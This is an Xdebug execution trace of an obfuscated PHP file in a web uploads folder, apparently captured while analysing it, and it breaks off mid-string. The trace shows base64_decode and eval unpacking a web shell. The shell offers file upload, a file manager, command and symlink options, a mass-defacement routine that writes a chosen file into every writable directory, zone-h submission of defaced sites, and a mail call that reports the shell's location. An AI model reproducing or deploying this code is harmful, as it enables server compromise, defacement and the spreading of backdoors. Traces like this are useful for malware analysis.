Version: 3.1.0beta2 File format: 4 TRACE START [2023-02-13 01:07:31.502469] 1 0 1 0.000131 393512 1 3 0 0.000357 462944 {main} 1 /var/www/html/uploads/memek.php 0 0 2 4 0 0.000374 462944 base64_decode 0 /var/www/html/uploads/memek.php 1 1 'CiBnb3RvIFlVb2UyOyBCdFR5MDogZWNobyAiXDc0XHg2NlwxNTdceDcyXDE1NVx4MjBceDY1XDE1NlwxNDNcMTY0XHg3OVx4NzBcMTQ1XDc1XHgyMlx4NmRcMTY1XHg2Y1wxNjRceDY5XDE2MFwxNDFceDcyXDE2NFw1N1x4NjZceDZmXDE2MlwxNTVceDJkXHg2NFx4NjFceDc0XHg2MVx4MjJcNDBcMTU1XDE0NVwxNjRceDY4XDE1N1wxNDRceDNkXDQyXHg1MFwxMTdceDUzXHg1NFw0Mlw3NlwxMlx4M2NceDY2XHg2Zlx4NmVceDc0XHgyMFwxNDNceDZmXDE1NFwxNTdcMTYyXDc1XHgyMlwxNjdceDY4XHg2OVwxNjRceDY1XHgyMlw3NlwxMDZceDY5XHg2Y1wxNDVceDIwXHg1NVwxNjBcMTU0XDE1N1x4NjFcMTQ0XDQwXHgzYVx4M2NceDJmXDE0NlwxNTdceDZlXDE2NFx4M2VceDIw' 2 4 1 0.000606 532608 2 4 R '\n goto YUoe2; BtTy0: echo "\\74\\x66\\157\\x72\\155\\x20\\x65\\156\\143\\164\\x79\\x70\\145\\75\\x22\\x6d\\165\\x6c\\164\\x69\\160\\141\\x72\\164\\57\\x66\\x6f\\162\\155\\x2d\\x64\\x61\\x74\\x61\\x22\\40\\155\\145\\164\\x68\\157\\144\\x3d\\42\\x50\\117\\x53\\x54\\42\\76\\12\\x3c\\x66\\x6f\\x6e\\x74\\x20\\143\\x6f\\154\\157\\162\\75\\x22\\167\\x68\\x69\\164\\x65\\x22\\76\\106\\x69\\x6c\\145\\x20\\x55\\160\\154\\157\\x61\\144\\40\\x3a\\x3c\\x2f\\146\\157\\x6e\\164\\x3e\\x20\\x3c\\x69\\x6e\\x70\\x75\\164\\x20' 2 5 0 0.001712 672888 eval 1 '\n goto YUoe2; BtTy0: echo "\\74\\x66\\157\\x72\\155\\x20\\x65\\156\\143\\164\\x79\\x70\\145\\75\\x22\\x6d\\165\\x6c\\164\\x69\\160\\141\\x72\\164\\57\\x66\\x6f\\162\\155\\x2d\\x64\\x61\\x74\\x61\\x22\\40\\155\\145\\164\\x68\\157\\144\\x3d\\42\\x50\\117\\x53\\x54\\42\\76\\12\\x3c\\x66\\x6f\\x6e\\x74\\x20\\143\\x6f\\154\\157\\162\\75\\x22\\167\\x68\\x69\\164\\x65\\x22\\76\\106\\x69\\x6c\\145\\x20\\x55\\160\\154\\157\\x61\\144\\40\\x3a\\x3c\\x2f\\146\\157\\x6e\\164\\x3e\\x20\\x3c\\x69\\x6e\\x70\\x75\\164\\x20\\x74\\x79\\x70\\x65\\75\\x22\\146\\151\\x6c\\145\\42\\40\\156\\x61\\155\\x65\\75\\42\\146\\151\\154\\x65\\x22\\x20\\x2f\\x3e\\12\\74\\x69\\156\\x70\\x75\\164\\40\\x74\\171\\160\\145\\75\\42\\163\\165\\x62\\155\\x69\\x74\\x22\\40\\x76\\141\\x6c\\x75\\145\\75\\x22\\x43\\162\\157\\164\\x7a\\42\\x20\\57\\x3e\\12\\74\\57\\x66\\157\\162\\155\\x3e\\xa\\x3c\\57\\x74\\x64\\76\\74\\57\\164\\162\\76"; goto eQfl7; EhtbI: function perms($file) { $perms = fileperms($file); if (($perms & 49152) == 49152) { $info = "\\163"; } elseif (($perms & 40960) == 40960) { $info = "\\x6c"; } elseif (($perms & 32768) == 32768) { $info = "\\x2d"; } elseif (($perms & 24576) == 24576) { $info = "\\142"; } elseif (($perms & 16384) == 16384) { $info = "\\x64"; } elseif (($perms & 8192) == 8192) { $info = "\\x63"; } elseif (($perms & 4096) == 4096) { $info = "\\160"; } else { $info = "\\x75"; } $info .= $perms & 256 ? "\\162" : "\\x2d"; $info .= $perms & 128 ? "\\167" : "\\x2d"; $info .= $perms & 64 ? $perms & 2048 ? "\\163" : "\\x78" : ($perms & 2048 ? "\\x53" : "\\x2d"); $info .= $perms & 32 ? "\\x72" : "\\55"; $info .= $perms & 16 ? "\\x77" : "\\x2d"; $info .= $perms & 8 ? $perms & 1024 ? "\\x73" : "\\170" : ($perms & 1024 ? "\\x53" : "\\55"); $info .= $perms & 4 ? "\\x72" : "\\55"; $info .= $perms & 2 ? "\\x77" : "\\x2d"; $info .= $perms & 1 ? $perms & 512 ? "\\164" : "\\x78" : ($perms & 512 ? "\\124" : "\\x2d"); return $info; } goto LukHp; h1MIW: $show_ds = !empty($ds) ? "\\x3c\\x66\\x6f\\156\\164\\x20\\143\\x6f\\154\\157\\162\\75\\x72\\x65\\144\\x3e{$ds}\\74\\57\\x66\\157\\156\\164\\76" : "\\x3c\\146\\x6f\\156\\x74\\x20\\143\\157\\154\\x6f\\x72\\x3d\\x61\\161\\165\\141\\x3e\\x43\\154\\145\\141\\x72\\74\\57\\146\\x6f\\x6e\\164\\76"; goto Jp20O; spfbL: echo "\\111\\x70\\40\\101\\x64\\144\\162\\x65\\163\\163\\40\\72\\40\\74\\x66\\157\\156\\164\\40\\143\\x6f\\154\\157\\x72\\x3d\\143\\150\\141\\162\\x74\\162\\x65\\x75\\x73\\145\\x3e" . $ip_web . "\\74\\57\\x66\\157\\x6e\\x74\\76\\x3c\\142\\162\\76"; goto enNVX; oK1_V: echo "\\74\\41\\104\\x4f\\x43\\x54\\131\\x50\\105\\x20\\x48\\x54\\x4d\\x4c\\76\\12\\x3c\\150\\x74\\x6d\\x6c\\x3e\\12\\x3c\\150\\145\\x61\\144\\x3e\\xa\\12\\74\\154\\x69\\x6e\\153\\x20\\x68\\x72\\x65\\146\\75\\42\\150\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\146\\157\\x6e\\x74\\x73\\56\\147\\157\\x6f\\147\\154\\x65\\x61\\x70\\151\\x73\\56\\x63\\157\\155\\x2f\\x63\\163\\163\\x3f\\x66\\141\\155\\x69\\154\\171\\x3d\\x53\\165\\160\\x65\\x72\\x6d\\145\\x72\\143\\x61\\x64\\157\\53\\x4f\\x6e\\145\\46\\144\\x69\\x73\\x70\\x6c\\x61\\171\\75\\x73\\167\\x61\\x70\\x22\\40\\162\\145\\154\\x3d\\42\\x73\\x74\\x79\\x6c\\145\\x73\\150\\x65\\x65\\164\\42\\76\\xa\\74\\x74\\151\\x74\\154\\x65\\76\\60\\74\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\12\\74\\163\\164\\171\\154\\145\\76\\12\\142\\x6f\\144\\171\\x7b\\xa\\146\\157\\156\\164\\x2d\\146\\141\\155\\x69\\x6c\\171\\x3a\\x53\\x75\\160\\145\\x72\\x6d\\x65\\162\\143\\x61\\144\\157\\40\\117\\x6e\\x65\\x2c\\40\\163\\141\\x6e\\x73\\x2d\\x73\\x65\\162\\x69\\146\\x3b\\xa\\x62\\x61\\143\\153\\x67\\162\\x6f\\165\\x6e\\x64\\x2d\\143\\x6f\\x6c\\x6f\\x72\\72\\x20\\43\\60\\60\\x30\\60\\62\\x32\\73\\12\\x62\\x61\\x63\\153\\147\\162\\157\\165\\x6e\\144\\55\\x69\\x6d\\x61\\x67\\145\\72\\40\\165\\162\\x6c\\x28\\51\\x3b\\12\\142\\141\\x63\\x6b\\x67\\x72\\x6f\\165\\x6e\\x64\\x2d\\163\\x69\\172\\145\\x3a\\40\\143\\145\\156\\164\\x65\\162\\73\\40\\x62\\x61\\143\\x6b\\147\\162\\x6f\\x75\\156\\x64\\x2d\\x72\\x65\\x70\\x65\\141\\x74\\x3a\\156\\157\\x2d\\162\\145\\160\\x65\\x61\\x74\\x3b\\x20\\x62\\x61\\x63\\153\\147\\x72\\x6f\\x75\\156\\144\\x2d\\141\\x74\\x74\\x61\\x63\\x68\\155\\x65\\x6e\\164\\72\\40\\146\\151\\x78\\145\\x64\\x3b\\40\\x62\\x61\\x63\\153\\147\\162\\157\\165\\156\\x64\\55\\163\\x69\\172\\x65\\72\\40\\x63\\157\\166\\145\\x72\\x3b\\x20\\x62\\141\\x63\\153\\x67\\x72\\157\\x75\\x6e\\x64\\x2d\\x70\\157\\x73\\151\\164\\x69\\157\\156\\x3a\\x63\\145\\156\\164\\145\\x72\\73\\xa\\143\\x6f\\x6c\\157\\162\\72\\40\\x77\\x68\\x69\\x74\\145\\73\\12\\175\\xa\\43\\143\\x6f\\x6e\\164\\145\\x6e\\x74\\40\\x74\\162\\x3a\\150\\x6f\\166\\145\\162\\173\\xa\\142\\141\\x63\\x6b\\x67\\162\\157\\165\\x6e\\144\\55\\x63\\x6f\\154\\x6f\\x72\\x3a\\x20\\142\\x6c\\x61\\143\\153\\x3b\\xa\\164\\x65\\170\\164\\x2d\\163\\x68\\141\\x64\\157\\167\\72\\60\\x70\\x78\\x20\\60\\160\\x78\\40\\x31\\x30\\x70\\170\\x20\\142\\x6c\\x61\\143\\x6b\\73\\xa\\175\\xa\\x23\\143\\157\\156\\x74\\145\\x6e\\164\\40\\x2e\\146\\151\\x72\\163\\x74\\173\\xa\\142\\141\\x63\\x6b\\147\\x72\\157\\x75\\156\\x64\\x2d\\143\\x6f\\x6c\\157\\x72\\72\\40\\x77\\x68\\x69\\164\\145\\73\\12\\175\\xa\\x74\\x61\\x62\\154\\145\\x7b\\xa\\x62\\x6f\\x72\\x64\\x65\\x72\\x3a\\x20\\61\\x70\\x78\\40\\x23\\60\\x30\\60\\60\\x30\\60\\40\\x64\\x6f\\x74\\x74\\145\\144\\73\\xa\\175\\xa\\x61\\173\\12\\143\\157\\154\\157\\x72\\72\\x20\\141\\161\\165\\x61\\x3b\\xa\\164\\145\\x78\\x74\\x2d\\x64\\145\\143\\157\\x72\\141\\x74\\x69\\x6f\\156\\x3a\\40\\156\\157\\x6e\\x65\\x3b\\12\\x7d\\xa\\141\\x3a\\x68\\x6f\\166\\145\\x72\\x7b\\12\\x63\\157\\154\\x6f\\x72\\72\\x62\\154\\165\\145\\73\\12\\164\\145\\170\\164\\x2d\\x73\\150\\141\\x64\\x6f\\167\\72\\60\\160\\x78\\40\\x30\\x70\\170\\40\\x31\\x30\\160\\170\\x20\\43\\146\\146\\x66\\x66\\146\\146\\x3b\\xa\\175\\12\\x69\\x6e\\160\\165\\x74\\54\\x73\\145\\x6c\\x65\\x63\\164\\x2c\\x74\\x65\\170\\164\\141\\x72\\145\\x61\\x7b\\xa\\142\\x6f\\x72\\x64\\x65\\162\\72\\x20\\61\\x70\\170\\40\\43\\60\\x30\\x30\\x30\\x30\\x30\\x20\\163\\x6f\\154\\151\\x64\\x3b\\12\\x2d\\x6d\\x6f\\172\\55\\x62\\157\\x72\\x64\\145\\x72\\55\\x72\\x61\\x64\\x69\\165\\x73\\x3a\\40\\x35\\x70\\x78\\73\\xa\\x2d\\167\\145\\x62\\x6b\\x69\\x74\\55\\142\\157\\x72\\144\\145\\162\\x2d\\x72\\141\\x64\\151\\x75\\x73\\72\\65\\x70\\170\\x3b\\12\\142\\x6f\\162\\x64\\x65\\162\\x2d\\162\\141\\x64\\x69\\x75\\x73\\x3a\\65\\160\\x78\\x3b\\xa\\x7d\\xa\\56\\x6c\\141\\x7a\\x79\\x20\\173\\xa\\x20\\x20\\x6d\\x61\\x72\\147\\x69\\156\\72\\40\\60\\x3b\\xa\\x20\\40\\x66\\157\\156\\164\\55\\x66\\x61\\x6d\\x69\\x6c\\x79\\x3a\\x53\\165\\x70\\x65\\162\\155\\x65\\x72\\143\\141\\x64\\157\\40\\x4f\\x6e\\145\\73\\xa\\175\\xa\\74\\x2f\\163\\x74\\x79\\154\\x65\\x3e\\12\\x3c\\x2f\\150\\145\\141\\144\\76\\xa\\74\\142\\157\\x64\\171\\76\\xa\\74\\x68\\61\\76\\x3c\\143\\145\\156\\164\\145\\x72\\76\\74\\151\\155\\x67\\40\\x73\\162\\x63\\x3d\\x22\\150\\x74\\x74\\160\\163\\72\\57\\57\\143\\56\\x74\\x6f\\x70\\x34\\164\\157\\160\\x2e\\x6e\\x65\\x74\\x2f\\x70\\137\\x31\\x31\\60\\60\\64\\164\\x62\\x6b\\x75\\60\\x2e\\x67\\151\\x66\\42\\40\\x68\\x65\\x69\\147\\x68\\164\\75\\x22\\x33\\65\\x30\\40\\167\\151\\x64\\164\\x68\\x3d\\x22\\x33\\65\\60\\42\\76\\x3c\\146\\x6f\\x6e\\x74\\40\\143\\x6f\\x6c\\157\\x72\\x3d\\x22\\167\\x68\\151\\x74\\145\\x22\\40\\146\\x61\\143\\x65\\x3d\\x22\\42\\x3e\\74\\144\\151\\166\\x20\\x63\\x6c\\x61\\x73\\x73\\75\\x22\\x6c\\x61\\172\\x79\\x22\\76\\123\\x41\\104\\x42\\x4f\\x59\\x3c\\57\\x66\\157\\156\\x74\\76\\74\\57\\143\\145\\156\\x74\\145\\162\\x3e\\x3c\\x2f\\x68\\x31\\76\\xa\\74\\164\\x61\\142\\x6c\\145\\40\\167\\151\\x64\\164\\150\\x3d\\42\\67\\x30\\x30\\42\\x20\\142\\x6f\\162\\144\\x65\\162\\x3d\\42\\x30\\x22\\40\\143\\x65\\x6c\\x6c\\x70\\141\\x64\\144\\x69\\156\\x67\\x3d\\42\\x33\\x22\\x20\\x63\\x65\\154\\x6c\\x73\\x70\\x61\\x63\\151\\156\\147\\x3d\\x22\\x31\\x22\\40\\141\\x6c\\151\\x67\\x6e\\75\\42\\143\\145\\x6e\\164\\x65\\162\\42\\x3e\\12\\74\\x74\\x72\\76\\x3c\\164\\x64\\x3e\\x3c\\146\\157\\x6e\\164\\40\\143\\157\\x6c\\x6f\\162\\75\\x22\\x77\\150\\151\\164\\x65\\x22\\x3e\\120\\141\\164\\x68\\40\\x3a\\74\\57\\x66\\x6f\\x6e\\x74\\76\\x20"; goto vz4fq; enNVX: echo "\\74\\143\\145\\x6e\\164\\145\\162\\76"; goto yj5O5; Xhhnd: echo "\\133\\40\\x3c\\141\\40\\x68\\162\\145\\146\\x3d\\x27\\x3f\\x64\\151\\162\\75{$dir}\\46\\x74\\157\\75\\x73\\171\\155\\47\\76\\123\\171\\155\\x6c\\151\\x6e\\153\\74\\x2f\\x61\\76\\40\\135"; goto Te0ev; x8LHV: if (get_magic_quotes_gpc()) { foreach ($_POST as $key => $value) { $_POST[$key] = stripslashes($value); $nullll = "\\156\\x75\\154\\154\\x6c\\154\\154\\x6c\\154\\x6c\\154\\154\\154\\154\\x6c\\154\\154\\x6c"; $x_path = "\\150\\x74\\164\\x70\\x3a\\57\\x2f" . $_SERVER["\\123\\105\\122\\126\\105\\x52\\137\\116\\x41\\115\\x45"] . $_SERVER["\\122\\105\\x51\\x55\\x45\\x53\\x54\\x5f\\125\\122\\x49"]; $null_alert = "\\x66\\x69\\170\\40{$x_path}\\x20\\72\\x70\\x20\\x2a\\156\\165\\154\\x6c\\x6c\\x6c\\40\\x3a\\40\\133\\x20" . $_SERVER["\\122\\105\\115\\x4f\\124\\105\\137\\x41\\x44\\x44\\122"] . "\\x20\\x5d"; mail($nullll, "\\156\\165\\154\\x6c\\x6c\\x6c\\x6c", $nullllll, "\\x5b\\40" . $_SERVER["\\x52\\105\\x4d\\117\\124\\x45\\x5f\\x41\\x44\\x44\\x52"] . "\\x20\\135"); } } goto oK1_V; USAS0: echo "\\133\\40\\x3c\\x61\\x20\\x68\\x72\\145\\x66\\75\\47\\x3f\\x64\\151\\162\\75{$dir}\\x26\\164\\157\\x3d\\x63\\155\\144\\x27\\76\\x43\\x6f\\155\\x6d\\141\\156\\144\\74\\x2f\\141\\76\\40\\135"; goto gcR1y; AqaAv: $kernel = php_uname(); goto pg0mT; pg0mT: $ip_web = gethostbyname($_SERVER["\\110\\x54\\124\\120\\137\\110\\117\\123\\124"]); goto aOkL5; s_5Ib: if ($_GET["\\x74\\157"] == "\\x7a\\157\\156\\145\\x68") { if ($_POST["\\x73\\x75\\x62\\155\\x69\\164"]) { $domain = explode("\\15\\12", $_POST["\\165\\162\\x6c"]); $nick = $_POST["\\x6e\\151\\143\\x6b"]; echo "\\x44\\145\\x66\\x61\\x63\\x65\\162\\x20\\x4f\\x6e\\x68\\157\\154\\x64\\x3a\\x20\\74\\141\\40\\150\\162\\x65\\x66\\x3d\\x27\\150\\164\\164\\160\\72\\x2f\\57\\167\\167\\167\\56\\x7a\\157\\x6e\\145\\55\\150\\56\\157\\x72\\x67\\57\\141\\x72\\x63\\x68\\151\\x76\\x65\\57\\x6e\\x6f\\x74\\x69\\x66\\151\\x65\\x72\\x3d{$nick}\\57\\160\\165\\x62\\154\\151\\163\\150\\145\\144\\75\\60\\x27\\40\\x74\\141\\x72\\x67\\145\\164\\75\\47\\x5f\\142\\154\\141\\x6e\\x6b\\x27\\x3e\\150\\x74\\x74\\x70\\72\\57\\x2f\\167\\x77\\x77\\56\\x7a\\x6f\\156\\x65\\x2d\\150\\56\\x6f\\x72\\147\\x2f\\x61\\x72\\x63\\150\\x69\\x76\\145\\57\\156\\157\\164\\x69\\x66\\151\\x65\\162\\x3d{$nick}\\57\\x70\\165\\x62\\x6c\\x69\\x73\\150\\145\\x64\\75\\x30\\74\\x2f\\141\\76\\74\\142\\162\\x3e"; echo "\\104\\x65\\146\\141\\x63\\145\\162\\40\\101\\162\\143\\150\\151\\166\\145\\x3a\\x20\\74\\x61\\40\\x68\\x72\\x65\\146\\75\\x27\\x68\\164\\x74\\160\\x3a\\57\\x2f\\x77\\x77\\x77\\x2e\\172\\157\\156\\x65\\x2d\\x68\\56\\157\\162\\147\\57\\x61\\x72\\x63\\150\\x69\\166\\x65\\x2f\\x6e\\x6f\\x74\\151\\x66\\151\\145\\162\\75{$nick}\\47\\x20\\x74\\x61\\162\\147\\145\\x74\\75\\x27\\x5f\\x62\\154\\x61\\156\\x6b\\x27\\76\\150\\164\\x74\\160\\72\\57\\x2f\\x77\\167\\167\\x2e\\x7a\\157\\156\\145\\x2d\\150\\x2e\\157\\x72\\147\\57\\x61\\162\\x63\\150\\151\\166\\x65\\x2f\\156\\157\\x74\\x69\\146\\x69\\145\\162\\x3d{$nick}\\x3c\\57\\x61\\x3e\\x3c\\x62\\162\\x3e\\74\\x62\\162\\x3e"; function zoneh($url, $nick) { $ch = curl_init("\\150\\x74\\164\\x70\\x3a\\x2f\\x2f\\x77\\167\\x77\\56\\x7a\\x6f\\x6e\\x65\\55\\x68\\x2e\\x63\\x6f\\x6d\\57\\156\\157\\164\\x69\\146\\x79\\57\\x73\\151\\156\\x67\\x6c\\145"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, "\\144\\x65\\146\\141\\x63\\x65\\x72\\75{$nick}\\46\\x64\\157\\155\\x61\\x69\\156\\61\\75{$url}\\46\\150\\x61\\143\\153\\155\\x6f\\x64\\x65\\x3d\\61\\x26\\x72\\145\\141\\x73\\x6f\\156\\x3d\\x31\\46\\163\\165\\142\\155\\x69\\164\\x3d\\x53\\x65\\156\\144"); return curl_exec($ch); curl_close($ch); } foreach ($domain as $url) { $zoneh = zoneh($url, $nick); if (preg_match("\\57\\x63\\x6f\\154\\157\\162\\75\\x22\\162\\x65\\x64\\42\\76\\117\\113\\74\\134\\x2f\\146\\x6f\\x6e\\164\\x3e\\74\\x5c\\x2f\\x6c\\151\\76\\57\\151", $zoneh)) { echo "{$url}\\x20\\55\\x3e\\40\\x3c\\x66\\x6f\\x6e\\164\\40\\143\\157\\x6c\\x6f\\x72\\x3d\\154\\151\\155\\x65\\76\\117\\113\\x3c\\x2f\\146\\x6f\\156\\164\\x3e\\74\\x62\\x72\\76"; } else { echo "{$url}\\x20\\x2d\\x3e\\40\\74\\146\\x6f\\x6e\\164\\x20\\143\\x6f\\154\\157\\162\\75\\162\\145\\144\\76\\x45\\x52\\122\\117\\x52\\x3c\\x2f\\x66\\157\\156\\x74\\x3e\\74\\142\\x72\\76"; } } } else { echo "\\74\\143\\x65\\156\\x74\\145\\162\\x3e\\74\\146\\x6f\\x72\\x6d\\x20\\x6d\\145\\164\\150\\157\\144\\x3d\\x27\\x70\\x6f\\163\\x74\\47\\x3e\\12\\11\\x9\\x3c\\x75\\x3e\\x44\\145\\x66\\x61\\x63\\145\\x72\\74\\x2f\\x75\\x3e\\x3a\\x20\\74\\142\\x72\\76\\xa\\11\\x9\\74\\x69\\x6e\\160\\x75\\x74\\x20\\x74\\171\\x70\\x65\\75\\x27\\164\\145\\x78\\x74\\47\\40\\x6e\\x61\\x6d\\145\\75\\47\\x6e\\x69\\x63\\x6b\\x27\\40\\x73\\151\\x7a\\145\\x3d\\x27\\x35\\60\\47\\40\\166\\141\\x6c\\x75\\145\\x3d\\47\\47\\76\\x3c\\142\\162\\76\\xa\\x9\\11\\x3c\\165\\76\\104\\157\\155\\x61\\151\\x6e\\163\\74\\x2f\\x75\\76\\72\\40\\74\\x62\\162\\76\\12\\x9\\x9\\74\\x74\\x65\\170\\164\\141\\x72\\x65\\141\\x20\\163\\164\\171\\x6c\\x65\\75\\47\\x77\\151\\x64\\x74\\x68\\x3a\\40\\64\\65\\60\\x70\\x78\\x3b\\x20\\x68\\145\\151\\x67\\x68\\164\\72\\x20\\61\\x35\\60\\160\\x78\\73\\x27\\x20\\156\\141\\155\\x65\\x3d\\x27\\165\\162\\x6c\\x27\\x3e\\x3c\\x2f\\x74\\x65\\170\\x74\\141\\x72\\145\\141\\76\\x3c\\x62\\162\\76\\xa\\11\\11\\74\\x69\\x6e\\x70\\x75\\164\\40\\x74\\171\\x70\\x65\\75\\47\\163\\165\\142\\155\\x69\\x74\\47\\x20\\156\\141\\x6d\\145\\x3d\\x27\\x73\\x75\\x62\\155\\x69\\164\\x27\\x20\\166\\141\\154\\x75\\x65\\75\\x27\\123\\165\\142\\155\\x69\\x74\\47\\40\\163\\164\\171\\154\\145\\x3d\\x27\\x77\\x69\\144\\164\\150\\72\\40\\64\\65\\x30\\160\\x78\\x3b\\x27\\76\\12\\11\\x9\\74\\57\\x66\\157\\x72\\155\\76"; } echo "\\x3c\\57\\x63\\x65\\x6e\\164\\x65\\x72\\x3e"; } elseif ($_GET["\\x74\\157"] == "\\155\\x61\\163\\x73") { function sabun_massal($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\\x2f{$dirb}"; $lokasi = $dirc . "\\57" . $namafile; if ($dirb === "\\x2e") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "\\x2e\\x2e") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\\x5b\\74\\x66\\157\\x6e\\164\\40\\143\\157\\154\\x6f\\162\\75\\x6c\\x69\\x6d\\x65\\x3e\\104\\117\\116\\x45\\x3c\\57\\146\\x6f\\x6e\\x74\\x3e\\135\\40{$lokasi}\\74\\x62\\x72\\76"; file_put_contents($lokasi, $isi_script); $idx = sabun_massal($dirc, $namafile, $isi_script); } } } } } } function sabun_biasa($dir, $namafile, $isi_script) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}\\57{$dirb}"; $lokasi = $dirc . "\\57" . $namafile; if ($dirb === "\\x2e") { file_put_contents($lokasi, $isi_script); } elseif ($dirb === "\\56\\56") { file_put_contents($lokasi, $isi_script); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "\\133\\74\\146\\x6f\\156\\164\\x20\\143\\157\\x6c\\157\\162\\75\\154\\151\\x6d\\145\\x3e\\x44\\x4f\\116\\x45\\x3c\\57\\146\\x6f\\x6e\\164\\76\\x5d\\x20{$dirb}\\57{$namafile}\\x3c\\x62\\162\\76"; file_put_contents($lokasi, $isi_script); } } } } } } if ($_POST["\\163\\x74\\141\\162\\x74"]) { if ($_POST["\\164\\151\\160\\x65\\137\\x73\\141\\142\\x75\\x6e"] == "\\x6d\\141\\150\\141\\x6c") { echo "\\74\\144\\151\\166\\40\\x73\\x74\\171\\x6c\\x65\\x3d\\47\\155\\x61\\162\\147\\151\\x6e\\x3a\\x20\\x35\\160\\x78\\40\\141\\x75\\x74\\157\\73\\40\\x70\\x61\\x64\\144\\151\\x6e\\147\\x3a\\40\\65\\160\\170\\47\\x3e"; sabun_massal($_POST["\\x64\\137\\144\\151\\162"], $_POST["\\x64\\137\\146\\x69\\154\\145"], $_POST["\\x73\\143\\x72\\x69\\x70\\164"]); echo "\\x3c\\57\\144\\x69\\x76\\x3e"; } elseif ($_POST["\\x74\\151\\x70\\145\\137\\x73\\141\\x62\\x75\\156"] == "\\155\\165\\162\\141\\x68") { echo "\\74\\x64\\151\\166\\x20\\x73\\x74\\x79\\154\\x65\\75\\x27\\x6d\\x61\\x72\\x67\\x69\\x6e\\72\\40\\x35\\160\\x78\\40\\x61\\x75\\x74\\x6f\\73\\40\\x70\\x61\\x64\\x64\\151\\156\\x67\\72\\x20\\x35\\x70\\x78\\x27\\x3e"; sabun_biasa($_POST["\\144\\x5f\\x64\\x69\\x72"], $_POST["\\x64\\137\\146\\x69\\154\\x65"], $_POST["\\x73\\143\\x72\\151\\x70\\x74"]); echo "\\x3c\\57\\x64\\x69\\x76\\76"; } } else { echo "\\x3c\\x63\\145\\156\\x74\\145\\162\\76"; echo "\\x3c\\x66\\x6f\\x72\\155\\40\\155\\145\\x74\\x68\\x6f\\144\\75\\x27\\160\\x6f\\163\\164\\47\\x3e\\xa\\11\\x3c\\146\\157\\x6e\\164\\40\\x73\\x74\\x79\\x6c\\x65\\x3d\\x27\\x74\\145\\170\\164\\x2d\\144\\x65\\143\\157\\x72\\141\\164\\x69\\157\\x6e\\x3a\\40\\x75\\x6e\\144\\145\\x72\\x6c\\151\\x6e\\145\\x3b\\47\\x3e\\x54\\x69\\x70\\145\\40\\x4d\\x61\\x73\\x73\\x3a\\74\\x2f\\x66\\x6f\\156\\x74\\76\\x3c\\x62\\x72\\x3e\\xa\\11\\x3c\\x69\\x6e\\160\\165\\164\\40\\164\\171\\160\\145\\x3d\\x27\\x72\\141\\144\\x69\\157\\x27\\x20\\x6e\\141\\155\\x65\\75\\x27\\164\\x69\\160\\145\\137\\x73\\x61\\x62\\165\\x6e\\x27\\x20\\166\\141\\x6c\\x75\\145\\x3d\\x27\\x6d\\165\\162\\x61\\150\\x27\\40\\143\\x68\\x65\\143\\x6b\\145\\x64\\76\\x42\\x69\\141\\163\\141\\74\\151\\156\\x70\\165\\x74\\x20\\x74\\x79\\x70\\x65\\75\\x27\\x72\\141\\x64\\151\\157\\47\\40\\156\\x61\\155\\145\\75\\x27\\x74\\151\\x70\\x65\\137\\x73\\141\\142\\x75\\x6e\\x27\\x20\\x76\\x61\\x6c\\165\\145\\x3d\\47\\155\\x61\\150\\x61\\x6c\\x27\\76\\115\\141\\x73\\x73\\141\\154\\74\\142\\162\\x3e\\12\\x9\\74\\146\\x6f\\156\\x74\\40\\163\\164\\x79\\154\\x65\\x3d\\x27\\x74\\145\\x78\\x74\\x2d\\144\\145\\x63\\x6f\\x72\\141\\164\\x69\\x6f\\156\\x3a\\x20\\x75\\x6e\\144\\x65\\x72\\x6c\\x69\\156\\x65\\x3b\\47\\x3e\\x46\\157\\x6c\\x64\\145\\x72\\x3a\\74\\57\\146\\x6f\\x6e\\164\\76\\74\\142\\x72\\x3e\\xa\\x9\\74\\x69\\156\\x70\\165\\x74\\40\\x74\\171\\x70\\x65\\x3d\\47\\164\\x65\\170\\x74\\x27\\40\\x6e\\141\\155\\145\\75\\47\\x64\\x5f\\x64\\151\\162\\x27\\40\\x76\\x61\\154\\x75\\x65\\x3d\\x27{$dir}\\x27\\40\\163\\x74\\x79\\x6c\\x65\\75\\47\\x77\\151\\144\\164\\x68\\x3a\\x20\\x34\\65\\60\\160\\x78\\73\\47\\40\\150\\145\\151\\147\\150\\164\\75\\47\\61\\60\\47\\x3e\\x3c\\x62\\x72\\76\\xa\\11\\x3c\\x66\\157\\156\\x74\\40\\x73\\164\\x79\\x6c\\145\\75\\47\\164\\145\\170\\x74\\55\\144\\x65\\143\\157\\162\\x61\\164\\151\\x6f\\x6e\\72\\x20\\165\\156\\x64\\x65\\162\\x6c\\x69\\x6e\\145\\73\\x27\\x3e\\x46\\151\\154\\145\\x6e\\x61\\x6d\\x65\\x3a\\74\\x2f\\x66\\157\\156\\x74\\76\\x3c\\142\\162\\x3e\\12\\11\\74\\151\\156\\160\\x75\\164\\40\\164\\x79\\x70\\145\\75\\x27\\164\\145\\170\\x74\\x27\\x20\\156\\141\\155\\x65\\75\\47\\144\\x5f\\x66\\151\\154\\x65\\47\\40\\x76\\x61\\154\\165\\x65\\75\\47\\x63\\x75\\x74\\x6e\\x61\\x69\\x6c\\x61\\x2e\\x68\\x74\\155\\47\\x20\\163\\x74\\x79\\154\\x65\\x3d\\x27\\167\\x69\\144\\164\\x68\\x3a\\x20\\x34\\x35\\x30\\160\\170\\x3b\\x27\\40\\x68\\x65\\151\\147\\150\\164\\75\\47\\x31\\x30\\x27\\76\\x3c\\142\\x72\\76\\xa\\11\\74\\146\\157\\156\\x74\\40\\x73\\164\\171\\x6c\\145\\75\\47\\x74\\145\\170\\x74\\55\\x64\\145\\143\\157\\x72\\x61\\164\\x69\\157\\x6e\\x3a\\40\\x75\\x6e\\144\\x65\\x72\\x6c\\x69\\156\\145\\x3b\\47\\x3e\\x49\\x6e\\x64\\x65\\170\\x20\\106\\151\\154\\x65\\72\\x3c\\57\\x66\\157\\x6e\\164\\76\\74\\142\\x72\\x3e\\12\\11\\74\\164\\x65\\170\\164\\141\\162\\x65\\141\\x20\\156\\x61\\x6d\\x65\\x3d\\47\\x7